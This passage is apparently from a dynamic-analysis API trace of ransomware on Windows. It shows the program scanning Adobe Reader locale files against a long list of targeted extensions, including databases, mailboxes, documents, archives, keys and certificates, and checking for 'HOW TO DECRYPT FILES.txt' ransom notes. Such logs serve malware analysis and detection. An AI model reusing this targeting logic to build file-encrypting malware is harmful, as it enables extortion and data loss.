lpLastWriteTime=0x407556) returned 1 [0070.387] CloseHandle (hObject=0x94) returned 1 [0070.387] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="accessibility.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT" [0070.387] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.ems") returned 0 [0070.387] lstrlenA (lpString="*.ems") returned 5 [0070.387] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.db") returned 0 [0070.387] lstrlenA (lpString="*.db") returned 4 [0070.387] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.dbf") returned 0 [0070.387] lstrlenA (lpString="*.dbf") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.myox") returned 0 [0070.388] lstrlenA (lpString="*.myox") returned 6 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.myo") returned 0 [0070.388] lstrlenA (lpString="*.myo") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.qbw") returned 0 [0070.388] lstrlenA (lpString="*.qbw") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.qbb") returned 0 [0070.388] lstrlenA (lpString="*.qbb") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.qbm") returned 0 [0070.388] lstrlenA (lpString="*.qbm") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.qbo") returned 0 [0070.388] lstrlenA (lpString="*.qbo") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.qbx") returned 0 [0070.388] lstrlenA (lpString="*.qbx") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.qba") returned 0 [0070.388] lstrlenA (lpString="*.qba") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.qby") returned 0 [0070.388] lstrlenA (lpString="*.qby") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.qbj") returned 0 [0070.388] lstrlenA (lpString="*.qbj") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.ofx") returned 0 [0070.388] lstrlenA (lpString="*.ofx") returned 5 [0070.388] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.qif") returned 0 [0070.388] lstrlenA (lpString="*.qif") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.mye") returned 0 [0070.389] lstrlenA (lpString="*.mye") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.mbox") returned 0 [0070.389] lstrlenA (lpString="*.mbox") returned 6 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.eml") returned 0 [0070.389] lstrlenA (lpString="*.eml") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.pst") returned 0 [0070.389] lstrlenA (lpString="*.pst") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.ost") returned 0 [0070.389] lstrlenA (lpString="*.ost") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.idx") returned 0 [0070.389] lstrlenA (lpString="*.idx") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.dbx") returned 0 [0070.389] lstrlenA (lpString="*.dbx") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.sql") returned 0 [0070.389] lstrlenA (lpString="*.sql") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.mdb") returned 0 [0070.389] lstrlenA (lpString="*.mdb") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.fdb") returned 0 [0070.389] lstrlenA (lpString="*.fdb") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.wab") returned 0 [0070.389] lstrlenA (lpString="*.wab") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.dat") returned 0 [0070.389] lstrlenA (lpString="*.dat") returned 5 [0070.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.txt") returned 0 [0070.389] lstrlenA (lpString="*.txt") returned 5 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.jpeg") returned 0 [0070.390] lstrlenA (lpString="*.jpeg") returned 6 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.jpg") returned 0 [0070.390] lstrlenA (lpString="*.jpg") returned 5 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.png") returned 0 [0070.390] lstrlenA (lpString="*.png") returned 5 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.php") returned 0 [0070.390] lstrlenA (lpString="*.php") returned 5 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.cs") returned 0 [0070.390] lstrlenA (lpString="*.cs") returned 4 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.cpp") returned 0 [0070.390] lstrlenA (lpString="*.cpp") returned 5 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.rar") returned 0 [0070.390] lstrlenA (lpString="*.rar") returned 5 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.zip") returned 0 [0070.390] lstrlenA (lpString="*.zip") returned 5 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.html") returned 0 [0070.390] lstrlenA (lpString="*.html") returned 6 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.htm") returned 0 [0070.390] lstrlenA (lpString="*.htm") returned 5 [0070.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.xlsx") returned 0 [0070.390] lstrlenA (lpString="*.xlsx") returned 6 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.xls") returned 0 [0070.391] lstrlenA (lpString="*.xls") returned 5 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.mp4") returned 0 [0070.391] lstrlenA (lpString="*.mp4") returned 5 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.ppt") returned 0 [0070.391] lstrlenA (lpString="*.ppt") returned 5 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.pptx") returned 0 [0070.391] lstrlenA (lpString="*.pptx") returned 6 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.doc") returned 0 [0070.391] lstrlenA (lpString="*.doc") returned 5 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.dot") returned 0 [0070.391] lstrlenA (lpString="*.dot") returned 5 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.docx") returned 0 [0070.391] lstrlenA (lpString="*.docx") returned 6 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.7z") returned 0 [0070.391] lstrlenA (lpString="*.7z") returned 4 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.tar") returned 0 [0070.391] lstrlenA (lpString="*.tar") returned 5 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.bz2") returned 0 [0070.391] lstrlenA (lpString="*.bz2") returned 5 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.gz") returned 0 [0070.391] lstrlenA (lpString="*.gz") returned 4 [0070.391] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.mkv") returned 0 [0070.392] lstrlenA (lpString="*.mkv") returned 5 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.eml") returned 0 [0070.392] lstrlenA (lpString="*.eml") returned 5 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.msg") returned 0 [0070.392] lstrlenA (lpString="*.msg") returned 5 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.edb") returned 0 [0070.392] lstrlenA (lpString="*.edb") returned 5 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.accdb") returned 0 [0070.392] lstrlenA (lpString="*.accdb") returned 7 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.odb") returned 0 [0070.392] lstrlenA (lpString="*.odb") returned 5 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.java") returned 0 [0070.392] lstrlenA (lpString="*.java") returned 6 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.asm") returned 0 [0070.392] lstrlenA (lpString="*.asm") returned 5 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.pfx") returned 0 [0070.392] lstrlenA (lpString="*.pfx") returned 5 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.pem") returned 0 [0070.392] lstrlenA (lpString="*.pem") returned 5 [0070.392] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.p12") returned 0 [0070.392] lstrlenA (lpString="*.p12") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.gpg") returned 0 [0070.393] lstrlenA (lpString="*.gpg") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.vsd") returned 0 [0070.393] lstrlenA (lpString="*.vsd") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.odg") returned 0 [0070.393] lstrlenA (lpString="*.odg") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.raw") returned 0 [0070.393] lstrlenA (lpString="*.raw") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.nef") returned 0 [0070.393] lstrlenA (lpString="*.nef") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.svg") returned 0 [0070.393] lstrlenA (lpString="*.svg") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.psd") returned 0 [0070.393] lstrlenA (lpString="*.psd") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.vmx") returned 0 [0070.393] lstrlenA (lpString="*.vmx") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.vmdk") returned 0 [0070.393] lstrlenA (lpString="*.vmdk") returned 6 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.vdi") returned 0 [0070.393] lstrlenA (lpString="*.vdi") returned 5 [0070.393] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.lay6") returned 0 [0070.393] lstrlenA (lpString="*.lay6") returned 6 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.mpeg") returned 0 [0070.394] lstrlenA (lpString="*.mpeg") returned 6 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.djvu") returned 0 [0070.394] lstrlenA (lpString="*.djvu") returned 6 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.tiff") returned 0 [0070.394] lstrlenA (lpString="*.tiff") returned 6 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.backup") returned 0 [0070.394] lstrlenA (lpString="*.backup") returned 8 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.pdf") returned 0 [0070.394] lstrlenA (lpString="*.pdf") returned 5 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.cert") returned 0 [0070.394] lstrlenA (lpString="*.cert") returned 6 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.docm") returned 0 [0070.394] lstrlenA (lpString="*.docm") returned 6 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.xlsm") returned 0 [0070.394] lstrlenA (lpString="*.xlsm") returned 6 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.dwg") returned 0 [0070.394] lstrlenA (lpString="*.dwg") returned 5 [0070.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.nd") returned 0 [0070.394] lstrlenA (lpString="*.nd") returned 4 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.tlg") returned 0 [0070.395] lstrlenA (lpString="*.tlg") returned 5 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.lgb") returned 0 [0070.395] lstrlenA (lpString="*.lgb") returned 5 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.mov") returned 0 [0070.395] lstrlenA (lpString="*.mov") returned 5 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.xdw") returned 0 [0070.395] lstrlenA (lpString="*.xdw") returned 5 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.ods") returned 0 [0070.395] lstrlenA (lpString="*.ods") returned 5 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.wav") returned 0 [0070.395] lstrlenA (lpString="*.wav") returned 5 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.mp3") returned 0 [0070.395] lstrlenA (lpString="*.mp3") returned 5 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.aiff") returned 0 [0070.395] lstrlenA (lpString="*.aiff") returned 6 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.flac") returned 0 [0070.395] lstrlenA (lpString="*.flac") returned 6 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.m4a") returned 0 [0070.395] lstrlenA (lpString="*.m4a") returned 5 [0070.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT", pszSpec="*.csv") returned 0 [0070.396] lstrlenA (lpString="*.csv") returned 5 [0070.396] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CAT", cAlternateFileName="")) returned 1 [0070.396] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Acroform.CAT") returned 1 [0070.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Acroform.CAT") returned 1 [0070.396] lstrcmpiA (lpString1="", lpString2="Acroform.CAT") returned -1 [0070.396] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT") returned="accessibility.CAT" [0070.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.396] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.396] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.396] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.396] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="Acroform.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT" [0070.396] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.ems") returned 0 [0070.396] lstrlenA (lpString="*.ems") returned 5 [0070.396] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.db") returned 0 [0070.396] lstrlenA (lpString="*.db") returned 4 [0070.396] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.dbf") returned 0 [0070.396] lstrlenA (lpString="*.dbf") returned 5 [0070.396] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.myox") returned 0 [0070.396] lstrlenA (lpString="*.myox") returned 6 [0070.396] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.myo") returned 0 [0070.397] lstrlenA (lpString="*.myo") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.qbw") returned 0 [0070.397] lstrlenA (lpString="*.qbw") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.qbb") returned 0 [0070.397] lstrlenA (lpString="*.qbb") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.qbm") returned 0 [0070.397] lstrlenA (lpString="*.qbm") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.qbo") returned 0 [0070.397] lstrlenA (lpString="*.qbo") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.qbx") returned 0 [0070.397] lstrlenA (lpString="*.qbx") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.qba") returned 0 [0070.397] lstrlenA (lpString="*.qba") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.qby") returned 0 [0070.397] lstrlenA (lpString="*.qby") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.qbj") returned 0 [0070.397] lstrlenA (lpString="*.qbj") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.ofx") returned 0 [0070.397] lstrlenA (lpString="*.ofx") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.qif") returned 0 [0070.397] lstrlenA (lpString="*.qif") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.mye") returned 0 [0070.397] lstrlenA (lpString="*.mye") returned 5 [0070.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT", pszSpec="*.mbox") returned 0 [0070.398] lstrlenA 